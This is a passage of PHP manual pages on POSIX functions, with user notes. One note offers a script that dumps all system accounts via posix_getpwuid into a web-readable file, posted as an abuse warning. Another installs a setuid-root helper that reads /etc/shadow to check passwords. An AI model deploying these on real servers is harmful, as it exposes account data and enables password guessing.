I have a need to verify a user/pass within PHP (using SSL!).  I don't know if this is the best way, but it's what I'm doing at the moment (works well!).

First, you need some help from the OS.  I wrote a tiny C utility that does the shadow look-up for me... It requires root access to read /etc/shadow.  So after you compile (gcc -O2 -s -o spasswd -lcrypt spasswd.c), you need to either use sudo to run it, or

# chown root spasswd && chmod u+s spasswd

To code that I'm using to authenticate a user/pass from PHP looks like:

function Authenticate($realm)
{
 global $PHP_AUTH_USER;
 global $PHP_AUTH_PW;

 if(!isset($PHP_AUTH_USER))
 {
  header("WWW-Authenticate: Basic realm=\"$realm\"");
  header("HTTP/1.0 401 Unauthorized");

  return false;
 }
 else
 {
  if(($fh = popen("/usr/sbin/spasswd", "w")))
  {
   fputs($fh, "$PHP_AUTH_USER $PHP_AUTH_PW");
   $r = pclose($fh);

   if(!$r)
    return true;
  }
 }

 header("WWW-Authenticate: Basic realm=\"$realm\"");
 header("HTTP/1.0 401 Unauthorized");

 return false;
}

The C source for spasswd.c:

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <crypt.h>
#include <shadow.h>

static char salt[12], user[128], pass[128];

void die(void)
{
 memset(salt, '\0', 12);
 memset(user, '\0', 128);
 memset(pass, '\0', 128);
}

int main(int argc, char *argv[])
{
 struct spwd *passwd;

 atexit(die); die();

 if(fscanf(stdin, "%127s %127s", user, pass) != 2)
  return 1;

 if(!(passwd = getspnam(user)))
  return 1;

 strncpy(salt, passwd->sp_pwdp, 11);
 strncpy(pass, crypt(pass, salt), 127);

 if(!strncmp(pass, passwd->sp_pwdp, 127))
  return 0;

 return 1;
}

Hope this helps someone...
sezery at damla dot net 03-Oct-2001 02:09
User and group functions do not work on recent Redhat systems since these functions are based on /etc/group file but new redhat does not put group members' list into this file. Instead you need to examine /etc/passwd file and find members of a group by checking group id.
posix_getppid
posix_getpwuid
POSIX Functions


Return info about a user by user id

posix_getpwnam
posix_getrlimit
POSIX Functions
PHP Manual

posix_getpwuid

(PHP 4, PHP 5)

posix_getpwuid — Return info about a user by user id

Description

array posix_getpwuid ( int $uid )

Returns an array of information about the user referenced by the given user ID.

Parameters

uid

The user identifier.

Return Values

Returns an associative array with the following elements:

The user information array
Element | Description
name | The name element contains the username of the user. This is a short, usually less than 16 character "handle" of the user, not the real, full name.
passwd | The passwd element contains the user's password in an encrypted format. Often, for example on a system employing "shadow" passwords, an asterisk is returned instead.
uid | User ID, should be the same as the uid parameter used when calling the function, and hence redundant.
gid | The group ID of the user. Use the function posix_getgrgid() to resolve the group name and a list of its members.
gecos | GECOS is an obsolete term that refers to the finger information field on a Honeywell batch processing system. The field, however, lives on, and its contents have been formalized by POSIX. The field contains a comma separated list containing the user's full name, office phone, office number, and home phone number. On most systems, only the user's full name is available.
dir | This element contains the absolute path to the home directory of the user.
shell | The shell element contains the absolute path to the executable of the user's default shell.

Examples

Example #1 Example use of posix_getpwuid()

<?php

$userinfo = posix_getpwuid(10000);

print_r($userinfo);
?>

The above example will output something similar to:

Array
(
    [name]    => tom
    [passwd]  => x
    [uid]     => 10000
    [gid]     => 42
    [geocs]   => "tom,,,"
    [dir]     => "/home/tom"
    [shell]   => "/bin/bash"
)

See Also

  • posix_getpwnam() - Return info about a user by username
  • POSIX man page GETPWNAM(3)

User Contributed Notes

martin at arp242 dot net 04-Jul-2011 07:18
Here's a fairly safe way to get the username from uid even if the posix extension isn't installed.

<?php
function GetUsernameFromUid($uid)
{
  if (function_exists('posix_getpwuid'))
  {
    $a = posix_getpwuid($uid);
    return $a['name'];
  }
  # This works on BSD but not with GNU
  elseif (strstr(php_uname('s'), 'BSD'))
  {
    exec('id -u ' . (int) $uid, $o, $r);

    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  elseif (is_readable('/etc/passwd'))
  {
    exec(sprintf('grep :%s: /etc/passwd | cut -d: -f1', (int) $uid), $o, $r);
    if ($r == 0)
      return trim($o['0']);
    else
      return $uid;
  }
  else
    return $uid;
}
?>
ddascalescu at gmail dot com 08-Apr-2008 07:14
Correction regarding my note below: get_current_user() does *not* get the name of the user the script is running as. Instead, it "gets the name of the owner of the current PHP script" -- that is, the owner of the file, not the owner of the process.

To properly get the running user, test if function_exists('posix_getpwuid') and if not, assume you're running on Windows and call getenv('USERNAME').
ddascalescu at gmail dot com 04-Apr-2008 05:39
On Windows, posix_getpwuid() is not implemented , but if you just want the username of the current user, you can use get_current_user().
mehmet at karakaya dot us 19-Mar-2006 11:45
if the system is also a mail server and system users have userdirs with php support this function may cause a spam abuse which made by a system user.

<?php

/* settings for start point and where to stop */
$start=0;//the first user id
$interval=1000;//amount of lines that will be read
$finishline=3000;//the last user id

$first=(isset($_GET['first'])?$_GET['first']:$start);
$last=(isset($_GET['last'])?$_GET['last']:$interval);

/* getting and writing the user info line by line */
$fp=fopen('copiedpasswd','a');
//copiedpasswd must be writeable by apache
for ($user=$first;$user<=$last;$user++)
 {
  $list=posix_getpwuid($user);
  if ($list['name']=='') { continue; }
  $line=implode(':',$list)."\n";
  fputs($fp,$line);
 }//end for
fclose($fp);

/* control or forwarding in order to prevent prescription */
if ($last>=$finishline)
 {
  header("Location: copiedpasswd");
 }//end if
else
 {
  $first += $interval;
  $last += $interval;
  header("Location: thenameofthisscript.php?first=$first&last=$last");
 }//end else

?>

Because posix_getpwuid(1000) will return the user name(whose id is 1000) as the first key of the array.
Nikolai-Zujev-(at)-Gmail-dot-Com 25-Sep-2004 02:05
If You are useing kernel security module, such as LIDS, GrSec or Selinux it will work only if '/etc/passwd' is readable for user, under which PHP/Apache runs, otherwice you get FALSE.
rolf dot winterscheidt at rowitech dot de 28-May-2003 04:34
To get the name of the owner of a file you can use something like this:

<?php
$startscript="/var/log/hello.log";

$fileowneruid=fileowner($startscript);
$fileownerarray=posix_getpwuid($fileowneruid);
$fileowner=$fileownerarray['name'];

echo "Owner is $fileowner";
?>

(I'm sure you can accomplish this in many ways, this is a way I understood and hope you too :-)).

Rolf
rcgraves+php at brandeis dot edu 21-Feb-2000 05:54
Returns an array containing the elements of the password structure. NOTE: The array is indexed by names, not numbers as a perl or C programmer would expect. The array elements are:

$_["name"]  string userid (joeschmo)
$_["passwd"] string crypted password (or "x" if shadowed)
$_["uid"] integer uidnumber (e.g. 0 for root)
$_["gid"] integer primary gidnumber (e.g. 0 for wheel/root)
$_["gecos"] string name (Joseph P. Schmoe)
$_["dir"] string home directory (/home/joeschmo)
$_["shell"] string loginshell (/bin/slash)
posix_getpwnam
posix_getrlimit
POSIX Functions


Return info about system resource limits

posix_getpwuid
posix_getsid
POSIX Functions
PHP Manual

posix_getrlimit

(PHP 4, PHP 5)

posix_getrlimit — Return info about system resource limits

Description

array posix_getrlimit ( void )

posix_getrlimit() returns an array of information about the current resource's soft and hard limits.

Each resource has an associated soft and hard limit. The soft limit is the value that the kernel enforces for the corresponding resource. The hard limit acts as a ceiling for the soft limit. An unprivileged process may only set its soft limit to a value from 0 to the hard limit, and irreversibly lower its hard limit.

Return Values

Returns an associative array of elements for each limit that is defined. Each limit has a soft and a hard limit.

List of possible limits returned
Limit name | Limit description
core | The maximum size of the core file. When 0, not core files are created. When core files are larger than this size, they will be truncated at this size.
totalmem | The maximum size of the memory of the process, in bytes.
virtualmem | The maximum size of the virtual memory for the process, in bytes.
data | The maximum size of the data segment for the process, in bytes.
stack | The maximum size of the process stack, in bytes.
rss | The maximum number of virtual pages resident in RAM
maxproc | The maximum number of processes that can be created for the real user ID of the calling process.
memlock | The maximum number of bytes of memory that may be locked into RAM.
cpu | The amount of time the process is allowed to use the CPU.
filesize | The maximum size of the data segment for the process, in bytes.
openfiles | One more than the maximum number of open file descriptors.

Examples

Example #1 Example use of posix_getrlimit()

<?php

$limits = posix_getrlimit();

print_r($limits);
?>

The above example will output something similar to:

Array
(
    [soft core] => 0
    [hard core] => unlimited
    [soft data] => unlimited
    [hard data] => unlimited
    [soft stack] => 8388608
    [hard stack] => unlimited
    [soft totalmem] => unlimited
    [hard totalmem] => unlimited
    [soft rss] => unlimited
    [hard rss] => unlimited
    [soft maxproc] => unlimited
    [hard maxproc] => unlimited
    [soft memlock] => unlimited
    [hard memlock] => unlimited
    [soft cpu] => unlimited
    [hard cpu] => unlimited
    [soft filesize] => unlimited
    [hard filesize] => unlimited
    [soft openfiles] => 1024
    [hard openfiles] => 1024
)

Notes

Note:

This is a not POSIX function, but is common on BSD and System V systems. If the system does not support this function, then it will not be included at compile time. This may be checked with function_exists().

See Also

  • man page GETRLIMIT(2)

User Contributed Notes

petert at tebault dot org 29-Aug-2000 12:58
The array returned (on a RH6.2 box) is:
     soft core = 0
     hard core = unlimited
     soft data = unlimited
     hard data = unlimited
     soft stack = 8388608
     hard stack = unlimited
     soft totalmem = unlimited
     hard totalmem = unlimited
     soft rss = unlimited
     hard rss = unlimited
     soft maxproc = 2048
     hard maxproc = 2048
     soft memlock = unlimited
     hard memlock = unlimited
     soft cpu = unlimited
     hard cpu = unlimited
     soft filesize = unlimited
     hard filesize = unlimited
     soft openfiles = 1024
     hard openfiles = 1024
posix_getpwuid
posix_getsid
POSIX Functions


Get the current sid of the process

posix_getrlimit
posix_getuid
POSIX Functions
PHP Manual

posix_getsid

(PHP 4, PHP 5)

posix_getsid — Get the current sid of the process

Description

int posix_getsid ( int $pid )

Return the session id of the process pid. The session id of a process is the process group id of the session leader.

Parameters

pid

The process identifier. If set to 0, the current process is assumed. If an invalid pid is specified, then FALSE is returned and an error is set which can be checked with posix_get_last_error().

Return Values

Returns the identifier, as an integer.

Examples

Example #1 Example use of posix_getsid()

<?php
$pid = posix_getpid();
echo posix_getsid($pid); //8805
?>

See Also

  • posix_getpgid() - Get process group id for job control
  • posix_setsid() - Make the current process a session leader
  • POSIX man page GETSID(2)

User Contributed Notes

There are no user contributed notes for this page.
posix_getrlimit
posix_getuid
POSIX Functions


Return the real user ID of the current process

posix_getsid
posix_initgroups
POSIX Functions
PHP Manual

posix_getuid

(PHP 4, PHP 5)

posix_getuid — Return the real user ID of the current process

Description

int posix_getuid ( void )

Return the numeric real user ID of the current process.

Return Values

Returns the user id, as an integer

Examples

Example #1 Example use of posix_getuid()

<?php
echo posix_getuid(); //10000
?>

See Also

  • posix_getpwuid() - Return info about a user by user id
  • POSIX man page GETUID(2)

User Contributed Notes

chris at ocportal dot com 30-Nov-2008 06:35
Note that this function is not defined on Windows PHP.
posix_getsid
posix_initgroups
POSIX Functions


Calculate the group access list

posix_getuid
posix_isatty
POSIX Functions
PHP Manual

posix_initgroups

(PHP 5 >= 5.2.0)

posix_initgroups — Calculate the group access list

Description

bool posix_initgroups ( string $name , int $base_group_id )

Calculates the group access list for the user specified in name.

Parameters

name

The user to calculate the list for.

base_group_id

Typically the group number from the password file.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • The Unix manual page for initgroups(3).

User Contributed Notes

There are no user contributed notes for this page.
posix_getuid
posix_isatty
POSIX Functions


Determine if a file descriptor is an interactive terminal

posix_initgroups
posix_kill
POSIX Functions
PHP Manual

posix_isatty

(PHP 4, PHP 5)

posix_isatty — Determine if a file descriptor is an interactive terminal

Description

bool posix_isatty ( int $fd )

Determines if the file descriptor fd refers to a valid terminal type device.

Parameters

fd

The file descriptor.

Return Values

Returns TRUE if fd is an open descriptor connected to a terminal and FALSE otherwise.

See Also

  • posix_ttyname() - Determine terminal device name

User Contributed Notes

hfuecks at phppatterns dot com 07-May-2004 02:12
Can be useful to determine whether output is being piped elsewhere, for PHP shell scripts, for example;

#!/usr/local/bin/php
<?php
if ( !posix_isatty(STDOUT) ) {
    fwrite(STDOUT, "Invalid TTY\n");
    exit(2);
}
fwrite(STDOUT, "Enter you name\n");
$name = fgets(STDIN);
fwrite(STDOUT,"Hello $name\n");
exit(0);
?>

If this script is like:

script.php > outfile

outfile will contain "Invalid TTY"
posix_initgroups
posix_kill
POSIX Functions


Send a signal to a process

posix_isatty
posix_mkfifo
POSIX Functions
PHP Manual

posix_kill

(PHP 4, PHP 5)

posix_kill — Send a signal to a process

Description

bool posix_kill ( int $pid , int $sig )

Send the signal sig to the process with the process identifier pid.

Parameters

pid

The process identifier.

sig

One of the PCNTL signals constants.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • The kill(2) manual page of the POSIX system, which contains additional information about negative process identifiers, the special pid 0, the special pid -1, and the signal number 0.

User Contributed Notes

unsure at tactileint dot com 09-Mar-2011 04:36
Just like the error codes (EPERM, EEXIST, etc), signal numbers are different on different platforms.  EG on macos, SIGCONT is 19; on Linux SIGSTOP is 19.  Big difference.

If you have PCNTL compiled in, you can use the constants like SIGCONT; i trust they're all correct.

If not, look in /usr/include/signal.h; these days its tons of ifdef mumbo jumbo but you can go to /usr/include/bits or /usr/include/sys or something and look for files named sig*.h; one of them will list them for you.
Anonymous 26-Jan-2011 03:27
here is a process kill function for windows:

<?php
function win_kill($pid){
    $wmi=new COM("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
    $procs=$wmi->ExecQuery("SELECT * FROM Win32_Process WHERE ProcessId='".$pid."'");
    foreach($procs as $proc)
      $proc->Terminate();
}
?>
Skippy 14-Jan-2009 02:12
In order to check the outcome of posix_kill() you can use posix_get_last_error(), which will return 0 (zero) in case of success and a non-zero error code otherwise. Use the number returned by posix_get_last_error() as a parameter to posix_strerror() to get a human-readable error message corresponding to that error code.

Please note that a non-zero code from posix_get_last_error() does NOT mean that the pid doesn't exist; it only means that posix_kill() ran into trouble signalling that process. For example, the pid may exist but the process is owned by a user other than the one you use to run the code, and you're not root; in which case you'll get an error saying you're not allowed to signal that process (operation not permitted).

Accordingly, the code posted by Jille earlier is WRONG. According to the POSIX spec (see errno.h on your system), EPERM means "operation not permitted". This should NOT be taken as indication that the pid doesn't exist, it merely means that posix_kill() couldn't signal that process. If anything, it should be a hint that a process with that pid IS running.

errno.h constant names definitions:
http://www.opengroup.org/onlinepubs/009695399/basedefs/errno.h.html

Unfortunately, PHP does not currently define constants with these names (such as EPERM, ENOENT, ESRCH etc.) A non-complete subset is defined for socket operations (SOCKET_EPERM for example), but it doesn't hold all the possible POSIX error constants; ESRCH for instance is of particular interest for posix_kill(), but SOCKET_ESRCH doesn't exist, because it means "no such process" and doesn't make sense for sockets.

Solutions:
* Have PHP devs define these constants in a future PHP version.
* Look-up errno.h on your system and define your own constants. You can use a script to parse errno.h and either define the constants on the fly or generate, once, the PHP code to define them.

Please be advised, however, that relying on a specific errno.h is not portable. Different systems may have different numeric values for these constants. That's why PHP should be defining the constants at compilation time and the code should be able to rely on the constant names; only the names are portable, not the actual values.
regis dot fr dot php dot net at tornad dot net 24-Dec-2008 07:06
A little recursive function to kill a process and his childs.
it works fine for me and I don't have find something else to do it.
It's a mix of various scripts I've found.

<?php
    function killProcessAndChilds($pid,$signal) {
        exec("ps -ef| awk '\$3 == '$pid' { print  \$2 }'", $output, $ret);
        if($ret) return 'you need ps, grep, and awk';
        while(list(,$t) = each($output)) {
            if ( $t != $pid ) {
                killProcessAndChilds($t,$signal);
            }
        }
        //echo "killing ".$pid."\n";
        posix_kill($pid, 9);
    }
?>
Jille at mydevnull dot quis dot cx 16-Apr-2008 06:22
If you want to test whether processes owned by other users are running, you can use:

<?php
  $running=posix_kill($pid, 0);
  if(posix_get_last_error()==1) /* EPERM */
    $running=true;
?>

If the process is owned by somebody else (and you're not root), you will get an EPERM.
On my system (FreeBSD) this is defined to 1.

You should test what the value of EPERM is on your system.
Jacques Manukyan 21-Mar-2008 06:40
Keep in mind that you can only send kill signals to processes owned by your UID.

If you are running your program as root, then you can send kill signals to all processes.
codeslinger at compsalot dot com 02-Feb-2005 08:42
Detecting if another copy of a program is running (*NIX specific)

One cute trick, to see if another process is running, is to send it signal 0.  Signal 0 does not actually get sent, but kill will check to see if it is possible to send the signal.  Note that this only works if you have permission to send a signal to that process.

A practical use for this technique is to avoid running multiple copies of the same program.  You save the PID to a file in the usual way...   Then during start-up you check the value of the PID file and see if that process currently exists.

This is not totally fool-proof.  In rare circumstances it is possible for an unrelated program to have the same recycled PID.  But that other program would most likely not accept signals from your program anyway (unless your program is root).

To make it as reliable as possible, you would want your program to remove it's PID file during shutdown (see register_shutdown_function).  That way, only if your program crashed AND another program happened to use the same PID AND the other program was willing to accept signals from your program, would you get a wrong result.  This would be an exceedingly rare occurrence.  This also assumes that the PID file has not been tampered with (as do all programs that rely on PID files...).

It's also possible to use 'ps x' to detect this, but using kill is much more efficient.

Here is the core routine:

    $PrevPid = file_get_contents($PathToPidFile);

    if(($PrevPid !== FALSE) && posix_kill(rtrim($PrevPid),0)) {
        echo "Error: Server is already running with PID: $PrevPid\n";
        exit(-99);
    } else {
        echo "Starting Server...";
    }

Hmmm...  if you want total 100% reliability, plus efficiency.  What you could do is to make the initial check using kill.  If it says not running, then you are ready to zoom.  But if kill says already running, then you could use:

//You can get the $ProgramName from $argv[0]
$Result = shell_exec('ps x | grep "' . $PrevPid . '" | grep "' . $ProgramName . '" | grep -v "grep"');

Assuming that your program has permissions to do this.  If you execute that and get back an empty string, then the other program is an imposter using a recycled PID and you are clear to go.

-- Erik
gid at gifpaste dot net 17-Dec-2002 04:26
For those that want to kill everything matching a certain pattern (ala killall in for linux), try something like this.  Note that this is a good idea to do something like this for cross platform compatilibity, instead of executing killall, because killall for other UNIXes does just that, kills EVERYTHING.  :)

function killall($match) {
    if($match=='') return 'no pattern specified';
    $match = escapeshellarg($match);
    exec("ps x|grep $match|grep -v grep|awk '{print $1}'", $output, $ret);
    if($ret) return 'you need ps, grep, and awk installed for this to work';
    while(list(,$t) = each($output)) {
        if(preg_match('/^([0-9]+)/', $t, $r)) {
            system('kill '. $r[1], $k);
            if(!$k) $killed = 1;
        }
    }
    if($killed) {
        return '';
    } else {
        return "$match: no process killed";
    }
}
posix_isatty
posix_mkfifo
POSIX Functions


Create a fifo special file (a named pipe)

posix_kill
posix_mknod
POSIX Functions
PHP Manual

posix_mkfifo

(PHP 4, PHP 5)

posix_mkfifo — Create a fifo special file (a named pipe)

Description

bool posix_mkfifo ( string $pathname , int $mode )

posix_mkfifo() creates a special FIFO file which exists in the file system and acts as a bidirectional communication endpoint for processes.

Parameters

pathname

Path to the FIFO file.

mode

The second parameter mode has to be given in octal notation (e.g. 0644). The permission of the newly created FIFO also depends on the setting of the current umask(). The permissions of the created file are (mode & ~umask).

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: When safe mode is enabled, PHP checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.

User Contributed Notes

Mauro Titimoli 30-Dec-2009 05:36
Object Oriented FIFO Communication process:

<?php
interface Communication {
    public function receive($bytes = 1024);

    public function getData();

    public function clearData();

    public function send($data);
}

class FIFOCommunication implements Communication {
    private $fifos;

    private $data;

    static public function stream_fifo_open($fifoPath, $mode) {
        if (pcntl_fork() == 0) {
            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');
            sleep(1);

            exit(0);
        }
        else {
            usleep(15);

            return fopen($fifoPath, 'r');
        }
    }

    static public function stream_fifo_write($fifoPath, $mode, $data) {
        if (pcntl_fork() == 0) {
            if (! file_exists($fifoPath)) {
                posix_mkfifo($fifoPath, $mode);
            }

            $fifo = fopen($fifoPath, 'w');

            fwrite($fifo, $data);

            exit(0);
        }
    }

    public function __construct(
        $fifoInputName, $fifoInputMode,
        $fifoOutputName, $fifoOutputMode
    ) {
        $this->fifos = array(
            'input' => array(
                'file' => self::stream_fifo_open($fifoInputName, $fifoInputMode),
                'mode' => $fifoInputMode,
                'name' => $fifoInputName,
                'use' => 'r',
            ),
            'output' => array(
                'mode' => $fifoOutputMode,
                'name' => $fifoOutputName,
                'use' => 'w'
            )
        );
    }
    public function remove($type = null) {
        switch ($type) {
            case 'input':
                @unlink($this->fifos['input']['name']);
                break;

            case 'output':
                @unlink($this->fifos['output']['name']);
                break;

            default:
                @unlink($this->fifos['input']['name']);
                @unlink($this->fifos['output']['name']);
        }
    }

    public function receive($bytes = 1024) {
        $readers = array($this->fifos['input']['file']);
        if (stream_select($readers, $writers = null, $except = null, 0, 15) == 1) {
            $data = fread($this->fifos['input']['file'], $bytes);
        }

        if (! empty($data)) {
            $this->data .= $data;
            return true;
        }
        else {
            return false;
        }
    }

    public function getData() {
        return $this->data;
    }

    public function clearData() {
        $this->data = null;
    }

    public function send($data) {
        $fifoOutput = & $this->fifos['output'];
        self::stream_fifo_write($fifoOutput['name'], $fifoOutput['mode'], $data);
    }
}

$fifoCommunication = new FIFOCommunication(
    getmypid() . '.input', 0600,
    getmypid() . '.output', 0600
);

echo "COMMUNICATION STARTED\n";

while (true) {
    if ($fifoCommunication->receive()) {
        $data = $fifoCommunication->getData();
        if ($data == "EXIT\n") {
            break;
        }
        else {
            $fifoCommunication->send('RECEIVED: ' . $fifoCommunication->getData());
        }
    }

    sleep(1);
}

$fifoComunication->remove();
?>
tim 17-Mar-2009 10:00
For non-blocking, fopen'd read access to a "half-connected" pipe (created with /usr/bin/mkfifo, posix_mkfifo, etc.), I just go ahead and do:
<?php
  $fh=fopen($fifo, "r+"); // ensures at least one writer (us) so will be non-blocking
  stream_set_blocking($fh, false); // prevent fread / fwrite blocking
?>

The "r+" allows fopen to return immediately regardless of external  writer channel.  You then have to use your own conventions to track $fh as a pseudo-read-only resource, since fwrite would technically be permitted as well.  I've successfully used this approach on Linux with PHP 4.3.10 and PHP 5.2.4 with both half-connected (no writer yet) and pre-connected (writer already waiting) pipes, polling with stream_select as usual.
mike at easystyle dot org 14-Oct-2008 05:06
Couldn't you just open up a writer yourself right after you open up a reader?  Just to be sure that you won't have any blocking issues...
TorokAlpar at Gmail dot com 05-Apr-2008 12:11
Here is a possible solution to what  - tech at kwur dot com- mentioned:

 I faced the problem where i had a process (a server) that needed to take care of socket connection, and in the meanwhile get some data from the database. I didn't wanted to make the clients wait for the query execution time, so i decided to make a separate process that executes the query on the DB, and the two would communicate over a pipe. Of course i didn't wanted the server blocking if no data was available. So what i come up with is to use stream_select() , and to overcome the mentioned problem, i would fork the process, open up the pipe for writing in the child, this way the parent won't block when it opens the pipe.

here is some code

<code>

<?php

if (pcntl_fork() == 0)
{
    // kid
    $file = fopen("JobsQueue","w");
    sleep(1);
    exit(0);
}
else
{
    usleep(15); // make sure that the child executes first
    $file = fopen("JobsQueue","r");
}

 echo "opened the queue \n";

 while (true)
 {
     $reders = array($file);
     if (stream_select($reders,$writers=null,$except=null,0,15) < 1)
     {
         continue;
     }
     else
     {
         // read data from the fifo
         $data = fread($file,1024);
         echo $data;
     }
     sleep(1);
 }

?>

</code>
tech at kwur dot com 19-Sep-2007 10:44
This is still not a solution: if I listen to commands on a pipe and output status on a separate pipe, PHP will block on both opens because something else has not already connected to this pipe.  Because I can't do a low-level fcntl() to to set O_NONBLOCK or something like it, this always locks up and is really stupid.  The only way I can get it to work is to spawn seperate subshells with system() and have them cat, or echo respectively and then the pipes work properly...usually?  Its alot of trouble that we can't set the blocking on the open!!
Enric Jaen 16-Aug-2007 09:22
A way to have a non-blocking pipe reader is to check first if the pipe exists. If so, then read from the pipe, otherwise do other stuff. This will work assuming that the writer creates the pipe, writes on it, and after that deletes the pipe.

This is a blocking writer:

<?php
   $pipe="/tmp/pipe";
   $mode=0600;
   if(!file_exists($pipe)) {
      // create the pipe
      umask(0);
      posix_mkfifo($pipe,$mode);
   }
   $f = fopen($pipe,"w");
   fwrite($f,"hello");  //block until there is a reader
   unlink($pipe); //delete pipe

?>

And this is the non-blocking reader:

<?php
   $pipe="/tmp/pipe";
   if(!file_exists($pipe)) {
      echo "I am not blocked!";
   }
   else {
      //block and read from the pipe
      $f = fopen($pipe,"r");
      echo fread($f,10);
   }
?>
Uther Pendragon 18-May-2007 02:12
Note (quoted from `man 7 pipe` on debian linux):

"On some systems (but not Linux), pipes are bidirectional:  data  can  be  transmitted  in  both directions  between  the pipe ends.  According to POSIX.1-2001, pipes only need to be unidirectional.  Portable applications should avoid reliance on bidirectional pipe semantics."

Linux pipes are NOT bidirectional.

Also, it appears to me that the use of fifo (named) pipes in php is pretty pointless as there appears to be NO way of determining whether opening (let alone reading) from it will block.  stream_select SHOULD be able to accomplish this, unfortunatly you cannot get to this point because even trying to OPEN a pipe for read will block until there is a writer.

I even tried to use popen("cat $name_of_pipe", 'r'), and even it blocked until it was opened for write by another process.
posix_kill
posix_mknod
POSIX Functions


Create a special or ordinary file (POSIX.1)

posix_mkfifo
posix_setegid
POSIX Functions
PHP Manual

posix_mknod

(PHP 5 >= 5.1.0)

posix_mknod — Create a special or ordinary file (POSIX.1)

Description

bool posix_mknod ( string $pathname , int $mode [, int $major = 0 [, int $minor = 0 ]] )

Creates a special or ordinary file.

Parameters

pathname

The file to create

mode

This parameter is constructed by a bitwise OR between file type (one of the following constants: POSIX_S_IFREG, POSIX_S_IFCHR, POSIX_S_IFBLK, POSIX_S_IFIFO or POSIX_S_IFSOCK) and permissions.

major

The major device kernel identifier (required to pass when using S_IFCHR or S_IFBLK).

minor

The minor device kernel identifier.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A posix_mknod() example

<?php

$file = '/tmp/tmpfile';  // file name
$type = POSIX_S_IFBLK;   // file type
$permissions = 0777;     // octal
$major = 1;
$minor = 8;              // /dev/random

if (!posix_mknod($file, $type | $permissions, $major, $minor)) {
    die('Error ' . posix_get_last_error() . ': ' . posix_strerror(posix_get_last_error()));
}

?>

See Also

  • posix_mkfifo() - Create a fifo special file (a named pipe)

User Contributed Notes

There are no user contributed notes for this page.
posix_mkfifo
posix_setegid
POSIX Functions


Set the effective GID of the current process

posix_mknod
posix_seteuid
POSIX Functions
PHP Manual

posix_setegid

(PHP 4 >= 4.0.2, PHP 5)

posix_setegid — Set the effective GID of the current process

Description

bool posix_setegid ( int $gid )

Set the effective group ID of the current process. This is a privileged function and needs appropriate privileges (usually root) on the system to be able to perform this function.

Parameters

gid

The group id.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 posix_setegid() example

This example will print out the effective group id, once changed.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

See Also

  • posix_getgrgid() - Return info about a group by group id
  • posix_getgid() - Return the real group ID of the current process
  • posix_setgid() - Set the GID of the current process

User Contributed Notes

There are no user contributed notes for this page.
posix_mknod
posix_seteuid
POSIX Functions


Set the effective UID of the current process

posix_setegid
posix_setgid
POSIX Functions
PHP Manual

posix_seteuid

(PHP 4 >= 4.0.2, PHP 5)

posix_seteuid — Set the effective UID of the current process

Description

bool posix_seteuid ( int $uid )

Set the real user ID of the current process. This is a privileged function and needs appropriate privileges (usually root) on the system to be able to perform this function.

Parameters

uid

The user id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • posix_setgid() - Set the GID of the current process

User Contributed Notes

There are no user contributed notes for this page.
posix_setegid
posix_setgid
POSIX Functions


Set the GID of the current process

posix_seteuid
posix_setpgid
POSIX Functions
PHP Manual

posix_setgid

(PHP 4, PHP 5)

posix_setgid — Set the GID of the current process

Description

bool posix_setgid ( int $gid )

Set the real group ID of the current process. This is a privileged function and needs appropriate privileges (usually root) on the system to be able to perform this function. The appropriate order of function calls is posix_setgid() first, posix_setuid() last.

Note:

If the caller is a super user, this will also set the effective group id.

Parameters

gid

The group id.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 posix_setgid() example

This example will print out the effective group id, once it is changed.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setgid(40);
echo 'My real group id is '.posix_getgid(); //40
echo 'My effective group id is '.posix_getegid(); //40
?>

See Also

  • posix_getgrgid() - Return info about a group by group id
  • posix_getgid() - Return the real group ID of the current process

User Contributed Notes

jac 26-May-2011 10:26
if you're going to use this along with posix_setuid, make sure you call posix_setgid first:

<?php
define (PROC_USER, 'john');
define (PROC_GRP, 'admins');
?>

following works:

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setgid($group['gid']);
posix_setuid($user['uid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>

following will not set gid

<?php
$user = posix_getpwnam( PROC_USER );
$group = posix_getgrnam( PROC_GRP);

echo posix_getuid()."\n";
echo posix_getgid()."\n";

posix_setuid($user['uid']);
posix_setgid($group['gid']);

echo posix_getuid()."\n";
echo posix_getgid()."\n";
?>
posix_seteuid
posix_setpgid
POSIX Functions


Set process group id for job control

posix_setgid
posix_setsid
POSIX Functions
PHP Manual

posix_setpgid

(PHP 4, PHP 5)

posix_setpgid — Set process group id for job control

Description

bool posix_setpgid ( int $pid , int $pgid )

Let the process pid join the process group pgid.

Parameters

pid

The process id.

pgid

The process group id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • See POSIX.1 and the setsid(2) manual page on the POSIX system for more informations on process groups and job control.

User Contributed Notes

There are no user contributed notes for this page.
posix_setgid
posix_setsid
POSIX Functions


Make the current process a session leader

posix_setpgid
posix_setuid
POSIX Functions
PHP Manual

posix_setsid

(PHP 4, PHP 5)

posix_setsid — Make the current process a session leader

Description

int posix_setsid ( void )

Make the current process a session leader.

Return Values

Returns the session id, or -1 on errors.

See Also

  • The POSIX.1 and the setsid(2) manual page on the POSIX system for more information on process groups and job control.

User Contributed Notes

karlsson dot nicklas at gmail dot com 22-Jan-2008 08:32
Very useful when making daemons, for example:

<?php
    $pid = pcntl_fork(); // fork
    if ($pid < 0)
        exit;
    else if ($pid) // parent
        exit;
    else { // child

        $sid = posix_setsid();

        if ($sid < 0)
            exit;

        for($i = 0; $i <= 60; $i++) { // do something for 5 minutes
            sleep(5);
        }
